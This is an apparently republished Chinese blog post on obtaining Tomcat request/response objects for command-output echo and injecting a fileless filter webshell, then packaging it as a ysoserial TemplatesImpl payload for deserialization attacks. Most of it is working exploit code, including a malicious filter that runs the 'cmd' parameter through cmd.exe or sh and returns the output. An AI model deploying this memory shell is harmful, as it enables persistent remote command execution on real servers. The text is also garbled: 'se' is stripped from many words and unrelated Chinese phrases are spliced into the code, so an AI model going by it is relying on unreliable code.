按照我个人的理解来说其实只要能拿到request 和respon对象即可进行回显的构造,当然这也是众多方式的一种。也是目前用的较多的方式。比如在tomcat 全局存储的request 和respon对象,进行获取后则可以在tomcat这个容器下进行回显。而某些漏洞的方式会从漏洞的位置去寻找存储request 和respon对象的地方。
根据litch1师傅的思路来寻找request,respon对象全局存储的位置基于全局储存的新思路 | tomcat的一种通用回显方法研究
根据该文章思路得知,在tomcat启动的时候会调用该位置的dorun方法
由图可见,调用栈会来到创建http11processor对象这一步,http11processor继承abstractprocessor类。而abstractprocessor类中可见有request,respon这两对象。并且为final修饰的,赋值后不可被更改。
那么此时我们只需要获取到这个http11processor对象即可获取到request,respon。继续跟进查看http11processor对象在哪进行存储。
调用this.register将前面创建的http11processor对象进行传递。而后调用processor.getrequest().getrequestprocessor()获取requestinfo。
调用获取到的requestinfo,这里为rp。rp的tglobalprocessor将global进行传递,而tglobalprocessor方法里面会调用
global.addrequestprocessor将rp添加进去。
跟进进去发现,processors为一个arraylist,里面存储requestinfo类型的数据。
所以整体的思路下来我们需要获取abstractprotocol$connectionhandler类 -> 获取global变量 ->requestinfo->request–>respon。
再往后需要寻找存储abstractprotocol类或继承abstractprotocol类的子类。
这里寻找到的是connector成员变量中为protocolhandler属性的值,而 http11aprprotocol类实现了该接口。
所以获取request的处理请求是
connector—>abstractprotocol$connectoinhandler—>global—>requestinfo—>request—>respon
而在tomcat启动过程红会将connector放入rvice中。
而现在获取完成的流程是
standardrvice—>connector—>abstractprotocol$connectoinhandler—>requestgroupinfo(global)–>requestinfo——->request——–>respon
那么这时候如何获取standardrvice成为了问题的一大关键。
文中给出的方法是从
thread.currentthread.getcontextclassloader()里面获取webappclassloaderba,再获取上下文中的 standardrvice。
最后调用链为
webappclassloaderba —>
applicationcontext(getresources().getcontext()) —> standardrvice—>connector—>abstractprotocol$connectoinhandler—>requestgroupinfo(global)—>requestinfo——->request——–>respon
package com;import org.apache.catalina.context;import org.apache.catalina.rvice;import org.apache.catalina.connector.connector;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.standardcontext;import org.apache.catalina.core.standardrvice;import org.apache.coyote.abstractprotocol;import org.apache.coyote.requestgroupinfo;import org.apache.coyote.requestinfo;import org.apache.coyote.respon;import javax.rvlet.rvletcontext;import javax.rvlet.rvletexception;import javax.rvlet.annotation.webrvlet;import javax.rvlet.http.httprvlet;import javax.rvlet.http.httprvletrequest;import javax.rvlet.http.httprvletrespon;import java.io.ioexception;import java.lang.reflect.constructor;import java.lang.reflect.field;import java.lang.reflect.invocationtargetexception;import java.lang.reflect.modifier;import java.util.arraylist;@webrvlet("/demorvlet")public class demorvlet extends httprvlet { protected void dopost(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexcepti可逆符号on { org.apache.catalina.loader.webappclassloaderba webappclassloaderba = (org.apache.catalina.loader.webappclassloaderba) thread.currentthread().getcontextclassloader(); standardcontext standardcontext = (standardcontext) webappclassloaderba.getresources().getcontext(); try { field context = class.forname("org.apache.catalina.core.standardcontext").getdeclaredfield("context"); context.taccessible(true); applicationcontext applicationcontext = (applicationcontext)context.get(standardcontext); field rvice = class.forname("org.apache.catalina.core.applicationcontext").getdeclaredfield("rvice"); rvice.taccessible(true); standardrvice standardrvice = (standardrvice)rvice.get(applicationcontext); field connectors = class.forname("org.apache.catalina.core.standardrvice").getdeclaredfield("connectors"); connectors.taccessible(true); connector[] connector = (connector[])connectors.get(standardrvice); field protocolhandler = class.forname("org.apache.catalina.connector.connector").getdeclaredfield("protocolhandler"); protocolhandler.taccessible(true);// abstractprotocol abstractprotocol = (abstractprotocol)protocolhandler.get(connector[0]); class<?>[] abstractprotocol_list = class.forname("org.apache.coyote.abstractprotocol").getdeclaredclass(); for (class<?> aclass : abstractprotocol_list) { if (aclass.getname().length()==52){ java.lang.reflect.method gethandlermethod = org.apache.coyote.abstractprotocol.class.getdeclaredmethod("gethandler",null); gethandlermethod.taccessible(true); field globalfield = aclass.getdeclaredfield("global"); globalfield.taccessible(true); org.apache.coyote.requestgroupinfo requestgroupinfo = (org.apache.coyote.requestgroupinfo) globalfield.get(gethandlermethod.invoke(connector[0].getprotocolhandler(), null)); field processors = class.forname("org.apache.coyote.requestgroupinfo").getdeclaredfield("processors"); processors.taccessible(true); java.util.list<requestinfo> requestinfo_list = (java.util.list<requestinfo>) processors.get(requestgroupinfo); field req = class.forname("org.apache.coyote.requestinfo").getdeclaredfield("req"); req.taccessible(true); for (requestinfo requestinfo : requestinfo_list) { org.apache.coyote.request request1 = (org.apache.coyote.request )req.get(requestinfo); org.apache.catalina.connector.request request2 = ( org.apache.catalina.connector.request)request1.getnote(1); org.apache.catalina.connector.respon respon2 = request2.getrespon(); respon2.getwriter().write("111"); } } } } catch (nosuchfieldexception e) { e.printstacktrace(); } catch (classnotfoundexception e) { e.printstacktrace(); } catch (illegalaccesxception e) { e.printstacktrace(); } catch (nosuchmethodexception e) { e.printstacktrace(); } catch (invocationtargetexception e) { e.printstacktrace(); } } protected void doget(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexception { this.dopost(request, respon); }}
这里是借助了获取到的request和respon来输出结果。再来修改一下代码。
package com;import org.apache.catalina.context;import org.apache.catalina.rvice;import org.apache.catalina.connector.connector;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.standardcontext;import org.apache.catalina.core.standardrvice;import org.apache.coyote.abstractprotocol;import org.apache.coyote.requestgroupinfo;import org.apache.coyote.requestinfo;import org.apache.coyote.respon;import javax.rvlet.rvletcontext;import javax.rvlet.rvletexception;import javax.rvlet.annotation.webrvlet;import javax.rvlet.http.httprvlet;import javax.rvlet.http.httprvletrequest;import javax.rvlet.http.httprvletrespon;import java.io.bufferedinputstream;import java.io.bufferedoutputstream;import java.io.ioexception;import java.io.inputstream;import java.lang.reflect.constructor;import java.lang.reflect.field;import java.lang.reflect.invocationtargetexception;import java.lang.reflect.modifier;import java.util.arraylist;@webrvlet("/demorvlet")public class demorvlet extends httprvlet { protected void dopost(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexception { org.apache.catalina.loader.webappclassloaderba webappclassloaderba = (org.apache.catalina.loader.webappclassloaderba) thread.currentthread().getcontextclassloader(); standardcontext standardcontext = (standardcontext) webappclassloaderba.getresources().getcontext(); try { field context = class.forname("org.apache.catalina.core.standardcontext").getdeclaredfield("context"); context.taccessible(true); applicationcontext applicationcontext = (applicationcontext)context.get(standardcontext); field rvice = class.forname("org.apache.catalina.core.applicationcontext").getdeclaredfield("rvice"); rvice.taccessible(true); standardrvice standardrvice = (standardrvice)rvice.get(applicationcontext); field connectors = class.forname("org.apache.catalina.core.standardrvice").getdeclaredfield("connectors"); connectors.taccessible(true); connector[] connector = (connector[])connectors.get(standardrvice); field protocolhandler = class.forname("org.apache.catalina.connector.connector").getdeclaredfield("protocolhandler"); protocolhandler.taccessible(true);// abstractprotocol abstractprotocol = (abstractprotocol)protocolhandler.get(connector[0]); class<?>[] abstractprotocol_list = class.forname("org.apache.coyote.abstractprotocol").getdeclaredclass(); for (class<?> aclass : abstractprotocol_list) { if (aclass.getname().length()==52){ java.lang.reflect.method gethandlermethod = org.apache.coyote.abstractprotocol.class.getdeclaredmethod("gethandler",null); gethandlermethod.taccessible(true); field globalfield = aclass.getdeclaredfield("global"); globalfield.taccessible(true); org.apache.coyote.requestgroupinfo requestgroupinfo = (org.apache.coyote.requestgroupinfo) globalfield.get(gethandlermethod.invoke(connector[0].getprotocolhandler(), null)); field processors = class.forname("org.apache.coyote.requestgroupinfo").getdeclaredfield("processors"); processors.taccessible(true); java.util.list<requestinfo> requestinfo_list = (java.util.list<requestinfo>) processors.get(requestgroupinfo); field req = class.forname("org.apache.coyote.requestinfo").getdeclaredfield("req"); req.taccessible(true); for (requestinfo requestinfo : requestinfo_list) { org.apache.coyote.request request1 = (org.apache.coyote.request )req.get(requestinfo); org.apache.catalina.connector.request request2 = ( org.apache.catalina.connector.request)request1.getnote(1); org.apache.catalina.connector.respon respon2 = request2.getrespon(); respon2.getwriter().write("111"); inputstream whoami = runtime.getruntime().exec("whoami").getinputstream();// bufferedinputstream bufferedinputstream = new bufferedinputstream(whoami); bufferedinputstream bis = new bufferedinputstream(whoami); int b ; while ((b = bis.read())!=-1){ respon2.getwriter().write(b); } } } } } catch (nosuchfieldexception e) { e.printstacktrace(); } catch (classnotfoundexception e) { e.printstacktrace(); } catch (illegalaccesxception e) { e.printstacktrace(); } catch (nosuchmethodexception e) { e.printstacktrace(); } catch (invocationtargetexception e) { e.printstacktrace(); } } protected void doget(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexception { this.dopost(request, respon); }}
将命令执行结果使用获取到的request和respon来输出。
通过调用 org.apache.coyote.request#getnote(adapter_notes) 和 org.apache.coyote.respon#getnote(adapter_notes) 来获取 org.apache.catalina.connector.request 和 org.apache.catalina.connector.respon 对象
文章链接
基于tomcat中一种半通用回显方法该篇文来调试一下。
根据前文思路顺着堆栈一路向下查看request和respon存储位置,只要获取到一个实例即可。
顺着思路,在
org.apache.catalina.core.applicationfilterchain位置发现符合条件的变量。
下面寻找赋值位置,发现在这个位置对request,respon进行实例的存储。但是默认为fal
思路如下:
1、反射修改
applicationdispatcher.wrap_same_object,让代码逻辑走到if条件里面
2、初始化lastrvicedrequest和lastrvicedrespon两个变量,默认为null
3、从lastrvicedrespon中获取当前请求respon,并且回显内容。
自己尝试构造了一下
package com;import javax.rvlet.rvletexception;import javax.rvlet.rvletrequest;import javax.rvlet.rvletrespon;import javax.rvlet.annotation.webrvlet;import javax.rvlet.http.httprvlet;import javax.rvlet.http.httprvletrequest;import javax.rvlet.http.httprvletrespon;import java.io.ioexception;import java.lang.reflect.field;import java.lang.reflect.modifier;@webrvlet("/testrvlet")public class testrvlet extends httprvlet { protected void dopost(httprvletrequest request, httprvletrespon respon) { try { field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object"); field lastrvicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrequest"); field lastrvicedrespon = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrespon"); lastrvicedrequest.taccessible(true); lastrvicedrespon.taccessible(true); wrap_same_object.taccessible(true); //修改final field modifiersfield = field.class.getdeclaredfield("modifiers"); modifiersfield.taccessible(true); modifiersfield.tint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final); modifiersfield.tint(lastrvicedrequest, lastrvicedrequest.getmodifiers() & ~modifier.final); modifiersfield.tint(lastrvicedrespon, lastrvicedrespon.getmodifiers() & ~modifier.final); boolean wrap_same_object1 = wrap_same_object.getboolean(null); threadlocal<rvletrequest> requestthreadlocal = (threadlocal<rvletrequest>)lastrvicedrequest.get(null); threadlocal<rvletrespon> responthreadlocal = (threadlocal<rvletrespon>)lastrvicedrespon.get(null); wrap_same_object.tboolean(null,true); lastrvicedrequest.t(null,new threadlocal<>()); lastrvicedrespon.t(null,new threadlocal<>()); rvletrespon rvletrespon = responthreadlocal.get(); rvletrespon.getwriter().write("111"); } catch (exception e) { e.printstacktrace(); } } protected void doget(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexception { this.dopost(request, respon); }}
同理,可集成到yso中,反序列化命令执行结果借助该rvletrespon。
在shiro反序列化漏洞的利用中并不能成功,发现request,respon的设置是在漏洞触发点之后,所以在触发漏洞执行任意java代码时获取不到我们想要的respon。其原因是因为rememberme功能的实现是使用了自己实燃开头的成语现的filter。
前文的基于tomcat实现内存马中只是借助rvlet直接去进行动态添加filter实现内存马。而实际当中还是需要借助反序列化点来直接打入内存马。
下面再来构造一个完整的。
获取到applicationcontext调用addfilter方法直接将恶意filter添加进去发现并不行。
applicationcontext.addfilter(filtername,new shellintinject());
断点处进行了判断,条件为true,会直接抛出异常。而这时候可以借助反射去进行修改。
field state = class.forname("org.apache.catalina.util.lifecycleba").getdeclaredfield("state"); state.taccessible(true); state.t(standardcontext,org.apache.catalina.lifecyclestate.starting_prep);
修改完成后,再来看到addfilter中,
this.context.findfilterdef也就是寻找standardcontext中的filterdef,所以我们需要添加到filterconfigs、filterdefs、filtermaps。
在添加filter前,通过反射设置成
lifecyclestate.starting_prep,添加完成后,再把其恢复成lifecyclestate.starte,需要恢复,否则可能导致服务不可用。
//添加拦截路径,实现是将存储写入到filtermap中registration.addmappingforurlpatterns(java.util.enumt.of(javax.rvlet.dispatchertype.request), fal,new string[]{"/*"});
后面再来看到standardcontext 中filterstart方法会遍历所有filterdefs实例化applicationfilterconfig添加到filterconfigs中
this.filterconfigs.clear(); iterator i$ = this.filterdefs.entryt().iterator(); while(i$.hasnext()) { 我的漫画老师作文五年级 entry<string, filterdef> entry = (entry)i$.next(); string name = (string)entry.getkey(); if (this.getlogger().isdebugenabled()) { this.getlogger().debug(" starting filter '" + name + "'"); } try { applicationfilterconfig filterconfig = new applicationfilterconfig(this, (filterdef)entry.getvalue()); this.filterconfigs.put(name, filterconfig); } catch (throwable var8) { throwable t = exceptionutils.unwrapinvocationtargetexception(var8); exceptionutils.handlethrowable(t); this.getlogger().error(sm.getstring("standardcontext.filterstart", new object[]{name}), t); ok = fal; } } return ok; } }
前面我们的调用addfilter方法的时候已经将 对应的filterdef给添加进去,我们只需要调用该方法即可实现filterconfig的添加。
//调用filterstart方法将filterconfig进行添加 method filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart"); filterstart.taccessible(true); filterstart.invoke(standardcontext,null);
最后,需要将filter位置进行调整。
在调试中途,部分代码抛出异常并没有直接执行state.t(standardcontext,
org.apache.catalina.lifecyclestate.started);会导致tomcat直接503。无法进行正常访问,需重启。
package com;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.standardcontext;import org.apache.tomcat.util.descriptor.web.filtermap;import javax.rvlet.*;import javax.rvlet.annotation.webrvlet;import javax.rvlet.http.httprvlet;import javax.rvlet.http.httprvletrequest;import javax.rvlet.http.httprvletrespon;import java.io.bufferedinputstream;import java.io.ioexception;import java.io.inputstream;import java.lang.reflect.field;import java.lang.reflect.method;import java.lang.reflect.modifier;@webrvlet("/testrvlet")public class testrvlet extends httprvlet { private final string cmdparamname = "cmd"; private final static string filterurlpattern = "/*"; private final static string filtername = "cmdfilter"; protected void dopost(httprvletrequest request, httprvletrespon respon) { try { field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object"); field lastrvicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrequest"); field lastrvicedrespon = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrespon"); lastrvicedrequest.taccessible(true); lastrvicedrespon.taccessible(true); wrap_same_object.taccessible(true); //修改final field modifiersfield = field.class.getdeclaredfield("modifiers"); modifiersfield.taccessible(true); modifiersfield.tint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final); modifiersfield.tint(lastrvicedrequest, lastrvicedrequest.getmodifiers() & ~modifier.final); modifiersfield.tint(lastrvicedrespon, lastrvicedrespon.getmodifiers() & ~modifier.final); boolean wrap_same_object1 = wrap_same_object.getboolean(null); threadlocal<rvletrequest> requestthreadlocal = (threadlocal<rvletrequest>)lastrvicedrequest.get(null); threadlocal<rvletrespon> responthreadlocal = (threadlocal<rvletrespon>)lastrvicedrespon.get(null); wrap_same_object.tboolean(null,true); lastrvicedrequest.t(null,new threadlocal<>()); lastrvicedrespon.t(null,new threadlocal<>()); rvletrespon rvletrespon = responthreadlocal.get(); rvletrequest rvletrequest = requestthreadlocal.get(); rvletcontext rvletcontext = rvletrequest.getrvletcontext(); //这里实际获取到的是applicationcontextfacade if (rvletcontext!=null) { //编写恶意filter class shellintinject implements javax.rvlet.filter{ @override public void init(filterconfig filterconfig) throws rvletexception { } @override public void dofilter(rvletrequest rvletrequest, rvletrespon rvletrespon, filterchain filterchain) throws ioexception, rvletexception { system.out.println("s"); string cmd = rvletrequest.getparameter(cmdparamname); if(cmd!=null) { string[] cmds = null; if (system.getproperty("os.name").tolowerca().contains("win")) { cmds = new string[]{"cmd.exe", "/c", cmd}; } el { cmds = new string[]{"sh", "-c", cmd}; } java.io.inputstream in = runtime.getruntime().exec(cmds).getinputstream(); java.util.scanner s = new java.util.scanner(in).udelimiter("\a"); string output = s.hasnext() ? s.next() : ""古代六部是哪六部; java.io.writer writer = rvletrespon.getwriter(); writer.write(output); writer.flush(); writer.clo(); } filterchain.dofilter(request, respon); } @override public void destroy() { } } //获取applicationcontext field context = rvletcontext.getclass().getdeclaredfield("context"); context.taccessible(true); applicationcontext applicationcontext = (applicationcontext)context.get(rvletcontext); //获取standardcontext field context1 = applicationcontext.getclass().getdeclaredfield("context"); context1.taccessible(true); standardcontext standardcontext = (standardcontext) context1.get(applicationcontext); //获取lifecycleba的state修改为org.apache.catalina.lifecyclestate.starting_prep field state = class.forname("org.apache.catalina.util.lifecycleba").getdeclaredfield("state"); state.taccessible(true); state.t(standardcontext,org.apache.catalina.lifecyclestate.starting_prep); //注册filtername filterregistration.dynamic registration = applicationcontext.addfilter(filtername, new shellintinject()); //添加拦截路径,实现是将存储写入到filtermap中 registration.addmappingforurlpatterns(java.util.enumt.of(javax.rvlet.dispatchertype.request), fal,new string[]{"/*"}); //调用filterstart方法将filterconfig进行添加 method 传说filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart"); filterstart.taccessible(true); filterstart.invoke(standardcontext,null); //移动filter为位置到前面 filtermap[] filtermaps = standardcontext.findfiltermaps(); for (int i = 0; i < filtermaps.length; i++) { if (filtermaps[i].getfiltername().equalsignoreca(filtername)) { org.apache.tomcat.util.descriptor.web.filtermap filtermap = filtermaps[i]; filtermaps[i] = filtermaps[0]; filtermaps[0] = filtermap; break; } } rvletrespon.getwriter().write("success"); state.t(standardcontext,org.apache.catalina.lifecyclestate.started); } } catch (exception e) { e.printstacktrace(); } } protected void doget(httprvletrequest request, httprvletrespon respon) throws rvletexception, ioexception { this.dopost(request, respon); }}
但这并未完,虽然我们借助了代码执行获取到request和respon后构造内存马。但是仍需要修改代码,将代码集成到yso中后,以供反序列化攻击使用。
将前面代码扣下来,并且继承abstracttranslet,后面需要使用templatesimpl类去动态加载该类。
package ysorial.exploit;import com.sun.org.apache.xalan.internal.xsltc.dom;import com.sun.org.apache.xalan.internal.xsltc.transletexception;import com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttranslet;import com.sun.org.apache.xml.internal.dtm.dtmaxisiterator;import com.sun.org.apache.xml.internal.rializer.rializationhandler;import org.apache.catalina.core.applicationcontext;import org.apache.catalina.core.standardcontext;import org.apache.tomcat.util.descriptor.web.filtermap;import javax.rvlet.*;import java.io.ioexception;import java.lang.reflect.field;import java.lang.reflect.method;import java.lang.reflect.modifier;public class tomcatshellintinject extends abstracttranslet { private final static string cmdparamname = "cmd"; private final static string filterurlpattern = "/*"; private final static string filtername = "cmdfilter"; static { try { field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object"); field lastrvicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrequest"); field lastrvicedrespon = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastrvicedrespon"); lastrvicedrequest.taccessible(true); lastrvicedrespon.taccessible(true); wrap_same_object.taccessible(true); //修改final field modifiersfield = field.class.getdeclaredfield("modifiers"); modifiersfield.taccessible(true); modifiersfield.tint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final); modifiersfield.tint(lastrvicedrequest, lastrvicedrequest.getmodifiers() & ~modifier.final); modifiersfield.tint(lastrvicedrespon, lastrvicedrespon.getmodifiers() & ~modifier.final); boolean wrap_same_object1 = wrap_same_object.getboolean(null); threadlocal<rvletrequest> requestthreadlocal = (threadlocal<rvletrequest>) lastrvicedrequest.get(null); threadlocal<rvletrespon> responthreadlocal = (threadlocal<rvletrespon>) lastrvicedrespon.get(null); wrap_same_object.tboolean(null, true); lastrvicedrequest.t(null, new threadlocal<rvletrequest>()); lastrvicedrespon.t(null, new threadlocal<rvletrespon>()); rvletrespon rvletrespon = responthreadlocal.get(); rvletrequest rvletrequest = requestthreadlocal.get(); rvletcontext rvletcontext = rvletrequest.getrvletcontext(); //这里实际获取到的是applicationcontextfacade if (rvletcontext != null) { //编写恶意filter class shellintinject implements filter { @override public void init(filterconfig filterconfig) throws rvletexception { } @override public void dofilter(rvletrequest rvletrequest, rvletrespon rvletrespon, filterchain filterchain) throws ioexception, rvletexception { string cmd = rvletrequest.getparameter(cmdparamname); if (cmd != null) { string[] cmds = null; if (system.getproperty("os.name").tolowerca().contains("win")) { cmds = new string[]{"cmd.exe", "/c", cmd}; } el { cmds = new string[]{"sh", "-c", cmd}; } java.io.inputstream in = runtime.getruntime().exec(cmds).getinputstream(); java.util.scanner s = new java.util.scanner(in).udelimiter("\a"); string output = s.hasnext() ? s.next() : ""; java.io.writer writer = rvletrespon.getwriter(); writer.write(output); writer.flush(); writer.clo(); } filterchain.dofilter(rvletrequest, rvletrespon); } @override public void destroy() { } } //获取applicationcontext field context = rvletcontext.getclass().getdeclaredfield("context"); context.taccessible(true); applicationcontext applicationcontext = (applicationcontext) context.get(rvletcontext); //获取standardcontext field context1 = applicationcontext.getclass().getdeclaredfield("context"); context1.taccessible(true); standardcontext standardcontext = (standardcontext) context1.get(applicationcontext); //获取lifecycleba的state修改为org.apache.catalina.lifecyclestate.starting_prep field state = class.forname("org.apache.catalina.util.lifecycleba").getdeclaredfield("state"); state.taccessible(true); state.t(standardcontext, org.apache.catalina.lifecyclestate.starting_prep); //注册filtername filterregistration.dynamic registration = applicationcontext.addfilter(filtername, new shellintinject()); //添加拦截路径,实现是将存储写入到filtermap中 registration.addmappingforurlpatterns(java.util.enumt.of(dispatchertype.request), fal, new string[]{filterurlpattern}); //调用filterstart方法将filterconfig进行添加 method filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart"); filterstart.taccessible(true); filterstart.invoke(standardcontext, null); //移动filter为位置到前面 filtermap[] filtermaps = standardcontext.findfiltermaps(); for (int i = 0; i < filtermaps.length; i++) { if (filtermaps[i].getfiltername().equalsignoreca(filtername)) { org.apache.tomcat.util.descriptor.web.filtermap filtermap = filtermaps[i]; filtermaps[i] = filtermaps[0]; filtermaps[0] = filtermap; break; } } rvletrespon.getwriter().write("success"); state.t(standardcontext, org.apache.catalina.lifecyclestate.started); } } catch (exception e) { e.printstacktrace(); } } @override public void transform(dom document, rializationhandler[] handlers) throws transletexception { } @override public void transform(dom document, dtmaxisiterator iterator, rializationhandler handler) throws transletexception { }}
yso中createtemplatesimpl稍做修改
public static object createtemplatesimpl_shell ( final string command ) throws exception { if ( boolean.parboolean(system.getproperty("properxalan", "fal")) ) { return createtemplatesimpl( command, class.forname("org.apache.xalan.xsltc.trax.templatesimpl"), class.forname("org.apache.xalan.xsltc.runtime.abstracttranslet"), class.forname("org.apache.xalan.xsltc.trax.transformerfactoryimpl")); } return createtemplatesimpl_shell(command, templatesimpl.class, abstracttranslet.class, transformerfactoryimpl.class); } public static <t> t createtemplatesimpl_shell ( final string command, class<t> tplclass, class<?> absttranslet, class<?> transfactory ) throws exception { final t templates = tplclass.newinstance(); // u template gadget class classpool pool = classpool.getdefault(); pool.inrtclasspath(new classclasspath(stubtransletpayload.class)); pool.inrtclasspath(new classclasspath(absttranslet)); final ctclass clazz = pool.get(stubtransletpayload.class.getname()); final byte[] classbytes = classfiles.classasbytes(tomcatshellintinject.class);// final byte[] classbytes = clazz.tobytecode(); // inject class bytes into instance reflections.tfieldvalue(templates, "_bytecodes", new byte[][] { classbytes, classfiles.classasbytes(foo.class) }); // required to make templatesimpl happy reflections.tfieldvalue(templates, "_name", "pwnr"); reflections.tfieldvalue(templates, "_tfactory", transfactory.newinstance()); return templates; }
这里拿cc2链来测试,复制cc2链代码。将getobject方法修改
final object templates = gadgets.createtemplatesimpl_shell(command);
github:https://github.com/nice0e3/ysorial-master
基于全局储存的新思路 | tomcat的一种通用回显方法研究
tomcat中一种半通用回显方法
基于tomcat的内存 webshell 无文件攻击技术
java web代码执行漏洞回显总结
shiro 550 漏洞学习 (二):内存马注入及回显
说到底,其实中间件回显就是获取request 和respon对象,拿到以后借助拿到的request 和respon对象进行回显,而内存马则是使用获取到的这两对象从而获取到context进行动态添加filter。而文中并没有去实现冰蝎等内存shell,而只实现了一个cmd的shell。同理,只需将恶意fliter修改成冰蝎的shell即可。
本文发布于:2023-04-05 08:29:50,感谢您对本站的认可!
本文链接:https://www.wtabcd.cn/fanwen/zuowen/233ca12582dea5d1b74f5b17be6ed5ec.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文word下载地址:数据回显是什么意思(系统自动返显方法).doc
本文 PDF 下载地址:数据回显是什么意思(系统自动返显方法).pdf
留言与评论(共有 0 条评论) |